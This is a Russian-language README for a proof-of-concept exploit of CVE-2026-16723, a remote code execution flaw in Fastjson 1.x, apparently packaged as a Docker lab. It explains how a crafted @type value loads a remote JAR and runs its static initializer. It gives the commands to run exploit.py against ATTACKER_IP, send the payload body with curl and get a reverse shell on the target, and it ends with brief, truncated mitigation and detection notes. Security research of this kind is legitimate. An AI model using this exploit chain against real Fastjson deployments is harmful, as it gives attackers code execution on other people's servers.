
Эксплойт proof-of-concept для CVE-2026-16723 — уязвимости удалённого выполнения кода в Fastjson 1.x через @JSONType, с конструктором payload JAR и слушателем reverse-shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 — это уязвимость удалённого выполнения кода (RCE) в Fastjson 1.x (1.2.68 – 1.2.83). Когда Fastjson разбирает контролируемый злоумышленником JSON, специально сформированное значение
@typeпревращается в поиск ресурса класса внутриcheckAutoType. В исполняемом fat-JAR Spring Boot загрузчик классов разрешает это имя как URLjar:http://и загружает удалённый JAR (SSRF), после чего загружает класс, несущий аннотацию@JSONType, даже несмотря на то, что AutoType отключён. Поскольку современные JDK / Tomcat отклоняют бинарное имяjar:http://, надёжный вариант помещает JAR в кэш JVM и перечитывает его черезjar:file:/proc/self/fd/N, так что класс определяется и его статический инициализатор выполняется, обеспечивая выполнение кода. AutoType остаётся отключённым, и гаджет из classpath не требуется.
| Категория | Версия |
|---|---|
| Уязвимые | Fastjson 1.2.68 ≤ версия ≤ 1.2.83 |
| Исправленные | Перейдите на Fastjson 2.x (исправленного релиза 1.x нет) |
Цель лабораторной работы — публичный интернет-магазин (Northwind Store), API поиска которого привязывает
тело запроса с помощью Fastjson. Всё соответствует стандартным настройкам Fastjson по умолчанию:
SafeMode выключен, AutoType выключен, упаковано как fat-JAR Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Предусловие | Состояние в этой лабораторной работе |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Исполняемый fat-JAR Spring Boot | да |
| Путь разбора JSON без аутентификации | POST /api/products/search |
| SafeMode / AutoType | по умолчанию (оба выключены) |
Атакующий и цель работают в одной сети Docker bridge, поэтому цель достигает атакующего как исходящее соединение (дополнительный порт не публикуется).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py собирает payload JAR, раздаёт его, запускает слушатель и выводит
тело запроса. Требуется только адрес обратного вызова.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Вставьте выведенное тело в endpoint поиска (Burp Repeater или curl) и
отправьте его. Запрос поиска — это обычная функция; специально сформировано только его тело JSON.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Код выполняется от имени сервисной учётной записи. Получите флаг через полученную оболочку:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type, содержащие шаблоны jar:http или jar:file / /proc/self/fd